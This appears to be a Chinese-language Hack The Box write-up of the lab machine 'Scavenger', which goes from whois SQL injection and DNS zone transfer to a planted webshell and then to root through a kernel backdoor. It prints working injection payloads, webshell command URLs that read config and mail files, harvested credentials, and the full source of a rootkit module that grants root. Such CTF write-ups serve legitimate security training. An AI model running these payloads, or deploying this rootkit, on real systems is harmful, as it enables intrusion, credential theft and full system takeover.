Hackthebox - Scavenger - 10.10.10.155 - Writeup

信息收集

Whois 服务器 SQL 注入

一开始刚拿到机器时,80 端口看了下用 IP 直接打开没有网站,FTP 21 端口也需要用户名密码才能登陆,都无果后,来看下他 43 端口的 whois 服务器。

whois 服务器一般是用来查询域名 whois 信息的,查询域名的注册商、注册时间等信息,随便输入一个试试

这里就给了我们两个信息:

  1. whois 服务器后端数据库是 MariaDB 10.1.37
  2. 给了我们一个域名 supersechosting.htb

用他给的 supersechosting.htb 域名进行查询能正常出结果,上面给的信息也说了,后端是 MariaDB 数据库,那么会不会有 SQL 注入呢?

在查询域名的后面加上了一个单引号,得到了一个在 web 上常见的数据库报错!那么就进行手工注入,列出所有的域名

whois -h 10.10.10.155 SUPERSECHOSTING.HTB\'\)or\ 1=1\#

通过该条查询,得到了以下域名

接下来随意查了一下数据库基本信息、数据库表以及数据库用户等信息备用

whois -h 10.10.10.155 "') union select user(),2#"
whois@localhost

whois -h 10.10.10.155 "') union select database(),2#"
whois

whois -h 10.10.10.155 "') union select (select group_concat(schema_name) from information_schema.schemata),2#"
information_schema,whois

whois -h 10.10.10.155 "') union select (select group_concat(table_name) from information_schema.tables where table_schema='whois'),2#"
customers

DNS 域传送漏洞 AXFR

DNS 域传送漏洞可以算得上是一个比较古老的漏洞了,如今大多数 DNS 服务器都不会犯这低级的错误

不了解 DNS 域传送漏洞的可以参考先知上的这篇文章,深入了解子域名挖掘tricks

通过该漏洞我们可以获得一个域名全部的解析记录,可以拿到子域名记录,对接下来的测试非常有帮助

攻击的命令也非常简单,只需要使用 dig 命令即可:

dig @10.10.10.155 supersechosting.htb axfr

依次对上一步收集到的四个域名进行攻击,拿到所有的解析记录,后续再慢慢进行使用

rentahacker.htb.        604800  IN      SOA     ns1.supersechosting.htb. root.supersechosting.htb. 4 604800 86400 2419200 604800
rentahacker.htb.        604800  IN      NS      ns1.supersechosting.htb.
rentahacker.htb.        604800  IN      MX      10 mail1.rentahacker.htb.
rentahacker.htb.        604800  IN      A       10.10.10.155
mail1.rentahacker.htb.  604800  IN      A       10.10.10.155
sec03.rentahacker.htb.  604800  IN      A       10.10.10.155
www.rentahacker.htb.    604800  IN      A       10.10.10.155
rentahacker.htb.        604800  IN      SOA     ns1.supersechosting.htb. root.supersechosting.htb. 4 604800 86400 2419200 604800

supersechosting.htb.    604800  IN      SOA     ns1.supersechosting.htb. root.supersechosting.htb. 3 604800 86400 2419200 604800
supersechosting.htb.    604800  IN      NS      ns1.supersechosting.htb.
supersechosting.htb.    604800  IN      MX      10 mail1.supersechosting.htb.
supersechosting.htb.    604800  IN      A       10.10.10.155
ftp.supersechosting.htb. 604800 IN      A       10.10.10.155
mail1.supersechosting.htb. 604800 IN    A       10.10.10.155
ns1.supersechosting.htb. 604800 IN      A       10.10.10.155
whois.supersechosting.htb. 604800 IN    A       10.10.10.155
www.supersechosting.htb. 604800 IN      A       10.10.10.155
supersechosting.htb.    604800  IN      SOA     ns1.supersechosting.htb. root.supersechosting.htb. 3 604800 86400 2419200 604800

justanotherblog.htb.    604800  IN      SOA     ns1.supersechosting.htb. root.supersechosting.htb. 5 604800 86400 2419200 604800
justanotherblog.htb.    604800  IN      NS      ns1.supersechosting.htb.
justanotherblog.htb.    604800  IN      MX      10 mail1.justanotherblog.htb.
justanotherblog.htb.    604800  IN      A       10.10.10.155
mail1.justanotherblog.htb. 604800 IN    A       10.10.10.155
www.justanotherblog.htb. 604800 IN      A       10.10.10.155
justanotherblog.htb.    604800  IN      SOA     ns1.supersechosting.htb. root.supersechosting.htb. 5 604800 86400 2419200 604800

pwnhats.htb.            604800  IN      SOA     ns1.supersechosting.htb. root.supersechosting.htb. 5 604800 86400 2419200 604800
pwnhats.htb.            604800  IN      NS      ns1.supersechosting.htb.
pwnhats.htb.            604800  IN      MX      10 mail1.pwnhats.htb.
pwnhats.htb.            604800  IN      A       10.10.10.155
mail1.pwnhats.htb.      604800  IN      A       10.10.10.155
www.pwnhats.htb.        604800  IN      A       10.10.10.155
pwnhats.htb.            604800  IN      SOA     ns1.supersechosting.htb. root.supersechosting.htb. 5 604800 86400 2419200 604800

Web - www.rentahacker.htb

一个 Wordpress 的博客,看上去是提供黑客租赁服务的

跑了跑没发现什么漏洞

首页关注到有几条评论,可以去看一看

看到有一个署名为「31173 HAXXOR team」的人发了一条评论,说管理员你被黑了,让去看一下「bug tracker」

那么很明显我们就要找到这个「bug tracker」,看看有什么发现

Web - www.supersechosting.htb

这个网站大概可以理解成是一个虚拟空间提供商的首页,告诉了我们一些信息

扫了一扫目录没有发现什么异常和值得关注的信息

/plugins (Status: 301)
/themes (Status: 301)
/content (Status: 301)
/assets (Status: 301)
/config (Status: 301)
/javascript (Status: 301)
/index (Status: 200)
/phpmyadmin (Status: 403)
/manual (Status: 301)
/vendor (Status: 301)
/0 (Status: 200)
/server-status (Status: 403)
/index.php (Status: 200)
/wp-forum.phps (Status: 403)

Web - www.justanotherblog.htb

看起来是一个还没有使用的网站,扫了一下放弃了,应该没有什么重要的东西

Web - sec03.rentahacker.htb

网站被挂了一个黑页,ID 和在博客留言的一致,这个网站应该就是之前说的那个被黑的「bug tracker」了

/login.php (Status: 200)
/index.php (Status: 302)
/search.php (Status: 302)
/index.html (Status: 200)
/.htaccess (Status: 403)
/view.php (Status: 200)
/signup.php (Status: 200)
/. (Status: 200)
/.html (Status: 403)
/.php (Status: 403)
/verify.php (Status: 200)
/.htpasswd (Status: 403)
/plugin.php (Status: 200)
/.htm (Status: 403)
/.htpasswds (Status: 403)
/account_delete.php (Status: 200)
/.htgroup (Status: 403)
/core.php (Status: 200)
/wp-forum.phps (Status: 403)
/wiki.php (Status: 200)
/.htaccess.bak (Status: 403)
/bug_report.php (Status: 200)
/main_page.php (Status: 302)
/shell.php (Status: 200)
/.htuser (Status: 403)
/login_page.php (Status: 200)
/news_rss.php (Status: 302)
/.htc (Status: 403)
/.ht (Status: 403)

扫了一下目录,随便访问了返回 200 的页面,可以知道这个域名下部署的是

MantisBT Bug Tracker

另外需要注意的是,有一个 shell.php 文件也返回了 200 状态码,目测可以执行命令

$ wfuzz -w /usr/share/wordlists/seclists-git/Discovery/Web-Content/raft-medium-words-lowercase.txt "http://sec03.rentahacker.htb/shell.php?FUZZ=ls"
000000868:   200        0 L      0 W      0 Ch        "goods_script"                                                                                                                                                               
000000869:   200        225 L    225 W    4907 Ch     "hidden"                                                                                                                                                                     
000000871:   200        0 L      0 W      0 Ch        "postinfo"

Fuzz 了一下,果然是 webshell,密码是 hidden,这样就可以执行命令了,探测一下基本情况

view-source:http://sec03.rentahacker.htb/shell.php?hidden=ls%20-al%20../../
total 32
drwxr-xr-x  8 root    root      4096 Dec  7  2018 .
drwxr-xr-x 22 root    root      4096 Dec  4  2018 ..
drwx------  4 ib01c01 customers 4096 Feb  1  2019 ib01c01
drwx------  3 ib01c02 customers 4096 Dec 11  2018 ib01c02
drwx------  4 ib01c03 customers 4096 Jan 30  2019 ib01c03
dr-xrwx---  3 ib01ftp support   4096 Dec 10  2018 ib01ftp
drwx------  3 ib01www support   4096 Dec 10  2018 ib01www
drwx------  2 support support   4096 Feb  2  2019 support

view-source:http://sec03.rentahacker.htb/shell.php?hidden=id
uid=1003(ib01c03) gid=1004(customers) groups=1004(customers)

view-source:http://sec03.rentahacker.htb/shell.php?hidden=cat%20config/config_inc.php
<?php
$g_hostname               = 'localhost';
$g_db_type                = 'mysqli';
$g_database_name          = 'ib01c03';
$g_db_username            = 'ib01c03';
$g_db_password            = 'Thi$sh1tIsN0tGut';
$g_default_timezone       = 'Europe/Berlin';
$g_crypto_master_salt     = 'DCD4OIydnPefp27q8Bu5TJHE2RfyO4Zit13B6zLfJdQ=';

这里拿到了一组数据库的用户名和密码:ib01c03 - Thi$sh1tIsN0tGut

在测试的过程中,发现机器不能主动连接到我们攻击机的端口上,应该是有 iptables 限制了外连,就只能用这个 webshell 操作了

继续看看有没有什么有用的信息,看到 /var/mail/ib01c03 有邮件

view-source:http://sec03.rentahacker.htb/shell.php?hidden=cat%20/var/mail/ib01c03

From support@ib01.supersechosting.htb Mon Dec 10 21:10:56 2018
Return-path: <support@ib01.supersechosting.htb>
Envelope-to: ib01c03@ib01.supersechosting.htb
Delivery-date: Mon, 10 Dec 2018 21:10:56 +0100
Received: from support by ib01.supersechosting.htb with local (Exim 4.89)
	(envelope-from <support@ib01.supersechosting.htb>)
	id 1gWRtI-0000ZK-8Q
	for ib01c03@ib01.supersechosting.htb; Mon, 10 Dec 2018 21:10:56 +0100
To: <ib01c03@ib01.supersechosting.htb>
Subject: Re: Please help! Site Defaced!
In-Reply-To: Your message of Mon, 10 Dec 2018 21:04:49 +0100
	<E1gWRnN-0000XA-44@ib01.supersechosting.htb>
References: <E1gWRnN-0000XA-44@ib01.supersechosting.htb>
X-Mailer: mail (GNU Mailutils 3.1.1)
Message-Id: <E1gWRtI-0000ZK-8Q@ib01.supersechosting.htb>
From: support <support@ib01.supersechosting.htb>
Date: Mon, 10 Dec 2018 21:10:56 +0100
X-IMAPbase: 1544472964 2
Status: O
X-UID: 1

>> Please we need your help. Our site has been defaced!
>> What we should do now?
>>
>> rentahacker.htb

Hi, we will check when possible. We are working on another incident right now. We just make a backup of the apache logs.
Please check if there is any strange file in your web root and upload it to the ftp server:
ftp.supersechosting.htb
user: ib01ftp
pass: YhgRt56_Ta

Thanks.

拿到了一组 FTP 的用户名和密码:ib01ftp - YhgRt56_Ta

另外根据邮件的内容,应该是网站站长发现被黑了之后联系系统管理员调查,系统管理员抓取了相关日志放在了 FTP 上面

FTP - ib01ftp

使用上一步拿到的 FTP 用户名和密码登陆,FTP 目录结构大致如下

.
└── incidents
    ├── ib01c01
    │   ├── ib01c01.access.log
    │   ├── ib01c01_incident.pcap
    │   └── notes.txt
    └── ib01c03

3 directories, 3 files

将全部文件拉下来本地进行分析

notes.txt,系统管理员说攻击者知道了有效的密码,成功登陆了系统进行了攻击

After checking the logs and the network capture, all points to that the attacker knows valid credentials and abused a recently discovered vuln to gain access to the server!

ib01c01.access.log,告诉了我们后台的路径:http://www.pwnhats.htb/admin530o6uisg/

10.0.2.19 - - [10/Dec/2018:21:51:00 +0100] "GET /admin530o6uisg/index.php?controller=AdminLogin&token=de267fd50b09d00b04cca76ff620b201 HTTP/1.1" 200 2787 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
10.0.2.19 - - [10/Dec/2018:21:51:00 +0100] "GET /admin530o6uisg/themes/default/css/overrides.css HTTP/1.1" 200 555 "http://www.pwnhats.htb/admin530o6uisg/index.php?controller=AdminLogin&token=de267fd50b09d00b04cca76ff620b201" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
...

流量包分析

ib01c01_incident.pcap,分析流量包,从中我们应该能找到后台的用户名和密码

使用以下过滤器,主要关注 POST 请求,因为登陆和执行等比较重要操作都是以 POST 来进行交互的

http.request.method == "POST"

从前两条记录中提取到了两组用户名和密码:

(登陆失败)

(登陆成功)

admin@pwnhats.htb - pwnhats.htb - 登陆失败
pwnhats@pwnhats.htb - GetYouAH4t! - 登陆成功

从第三个 POST 请求能看出来这个 web 系统大概的漏洞利用点在哪

另外继续分析这个流量包,从 tcp.stream eq 27 看上去攻击者试图去编译一个内核模块

继续往下看,从 tcp.stream eq 28 看到了这个内核模块的源码

#include <linux/init.h>   
#include <linux/module.h> 
#include <linux/kernel.h>
#include <linux/device.h>
#include <linux/fs.h>    
#include <asm/uaccess.h>
#include <linux/slab.h>
#include <linux/syscalls.h>
#include <linux/types.h>
#include <linux/cdev.h>
#include <linux/cred.h>
#include <linux/version.h>

#define  DEVICE_NAME "ttyR0" 
#define  CLASS_NAME  "ttyR"

#if LINUX_VERSION_CODE > KERNEL_VERSION(3,4,0)
#define V(x) x.val
#else
#define V(x) x
#endif

// Prototypes
static int     __init root_init(void);
static void    __exit root_exit(void);
static int     root_open  (struct inode *inode, struct file *f);
static ssize_t root_read  (struct file *f, char *buf, size_t len, loff_t *off);
static ssize_t root_write (struct file *f, const char __user *buf, size_t len, loff_t *off);

// Module info
MODULE_LICENSE("GPL"); 
MODULE_AUTHOR("pico");
MODULE_DESCRIPTION("Got r00t!."); 
MODULE_VERSION("0.1"); 

static int            majorNumber; 
static struct class*  rootcharClass  = NULL;
static struct device* rootcharDevice = NULL;

static struct file_operations fops =
{
  .owner = THIS_MODULE,
  .open = root_open,
  .read = root_read,
  .write = root_write,
};

static int
root_open (struct inode *inode, struct file *f)
{
   return 0;
}

static ssize_t
root_read (struct file *f, char *buf, size_t len, loff_t *off)
{
  return len;
}

static ssize_t
root_write (struct file *f, const char __user *buf, size_t len, loff_t *off)
{ 
  char   *data;
  char   magic[] = "g0tR0ot";

  struct cred *new_cred;
  
  data = (char *) kmalloc (len + 1, GFP_KERNEL);
    
  if (data)
    {
      copy_from_user (data, buf, len);
        if (memcmp(data, magic, 7) == 0)
	  {
	    if ((new_cred = prepare_creds ()) == NULL)
	      {
		return 0;
	      }
	    V(new_cred->uid) = V(new_cred->gid) =  0;
	    V(new_cred->euid) = V(new_cred->egid) = 0;
	    V(new_cred->suid) = V(new_cred->sgid) = 0;
	    V(new_cred->fsuid) = V(new_cred->fsgid) = 0;
	    commit_creds (new_cred);
	  }
        kfree(data);
      }
    
    return len;
}


static int __init
root_init(void)
{
  // Create char device
  if ((majorNumber = register_chrdev(0, DEVICE_NAME, &fops)) < 0)
    {
      return majorNumber;
    }
 
   // Register the device class
   rootcharClass = class_create(THIS_MODULE, CLASS_NAME);
   if (IS_ERR(rootcharClass))
     {
       unregister_chrdev(majorNumber, DEVICE_NAME);
       return PTR_ERR(rootcharClass); 
   }
 
   // Register the device driver
   rootcharDevice = device_create(rootcharClass, NULL,
				  MKDEV(majorNumber, 0), NULL, DEVICE_NAME);
   if (IS_ERR(rootcharDevice))
     {
       class_destroy(rootcharClass);
       unregister_chrdev(majorNumber, DEVICE_NAME);
       return PTR_ERR(rootcharDevice);
     }

    return 0;    
}

static void __exit
root_exit(void) 
{
  // Destroy the device
  device_destroy(rootcharClass, MKDEV(majorNumber, 0));
  class_unregister(rootcharClass);                     
  class_destroy(rootcharClass);                        
  unregister_chrdev(majorNumber, DEVICE_NAME);     
}


module_init(root_init);
module_exit(root_exit);

在谷歌搜索了一下 Got r00t!. 这个关键字,看到了这篇文章:Kernel RootKits. Getting your hands dirty - Malware - 0x00sec - The Home of the Hacker

大概知道了这个程序是一个内核后门,使用方法如下:

$ id
uid=1000(pico) gid=1000(pico) groups=1000(pico)
$ echo "g0tR0ot" > /dev/ttyR0
$ id
uid=0(root) gid=0(root) groups=0(root)

通过 webshell 查看 /dev/ttyR0 文件存在

尝试提权

失败了…想了想毕竟我们现在连 user.txt 都没拿到,怎么可能那么快就拿到 root.txt

Web - www.pwnhats.htb

该网站部署的是一个商城程序,根据页脚的提示可以知道是:PrestaShop

上面已经拿到了后台地址和密码,直接登陆看看

http://www.pwnhats.htb/admin530o6uisg/index.php
pwnhats@pwnhats.htb
GetYouAH4t!

(后台太太太太太太太卡了直接放弃登陆的想法)

FTP - ib01c01

上面我们知道网站提供 FTP 功能,并且也知道了 ib01c01 对应网站的管理员密码是 GetYouAH4t!,那么有没有可能这个密码也是 ftp 的密码呢?

尝试使用 ib01c01 - GetYouAH4t! 登陆 FTP 帐号

成功了,并且也看到了我们所需要的 user.txt 文件

在查看目录的时候,我加上了 -a 列出所有文件,发现了一个奇怪的目录

发现了 /home/ib01c01/.../ 目录,这很明显是一个故意隐藏的目录

进入后发现了内核后门模块

Kernel - root.ko

上面我们尝试了一次使用这个内核后门,但是失败了,原因可能是攻击者在编译之前修改了密码

root.ko 拉到本地,打开老女人(IDA)查看代码

可以看到程序对 magic 的值进行了多次的修改,(目的就是绕晕我们)

最终的 magic 的值应该是 g3tPr1v,内核后门的利用方法就变成了:

echo "g3tPr1v" > /dev/ttyR0

觉得上面 IDA 截图思路不清晰的同学可以编译下面的程序进行测试,看看最终究竟是什么~

#include<stdio.h>

void main() {
  char a[4];
  char b[5];
  char magic[8];
  strcpy(a, "g3t");
  strcpy(b, "Pr1v");
  strcpy(magic, "g0tR0ot");
  snprintf(magic, 8 uLL, "%s%s", a, b);
  printf("%s", magic);
}

Root

回到一开始的 webshell,加持现在的内核后门,拿到 root 就不是一件难事,运行:

id;echo "g3tPr1v" > /dev/ttyR0;id

root 权限到手!

番外 - 为什么反弹不了 shell

有 root 权限之后我通过 iptables-save 拉了一下 iptables 规则

# Generated by iptables-save v1.6.0 on Sun May 24 17:36:37 2020
*filter
:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [0:0]
-A INPUT -p icmp -j ACCEPT
-A INPUT -p udp -m udp --sport 53 -m u32 --u32 "0x1e=0x81000000:0x81ffffff" -j ACCEPT
-A INPUT -p tcp -m tcp --dport 20 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 21 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 25 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 43 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 53 -j ACCEPT
-A INPUT -p udp -m udp --dport 53 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -j REJECT --reject-with icmp-port-unreachable
-A OUTPUT -p icmp -j ACCEPT
-A OUTPUT -p udp -m udp --dport 53 -m u32 --u32 "0x1e=0x1000000:0x1ffffff" -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 20 -j ACCEPT
-A OUTPUT -o lo -j ACCEPT
-A OUTPUT -p tcp -m state --state ESTABLISHED -j ACCEPT
-A OUTPUT -p udp -m state --state ESTABLISHED -j ACCEPT
-A OUTPUT -j REJECT --reject-with icmp-port-unreachable
COMMIT
# Completed on Sun May 24 17:36:37 2020

OUTPUT 链默认策略是 DROP 的,然后基本上就没设置什么允许主动发起出站的规则,这就是我们反弹 shell 反弹不了的原因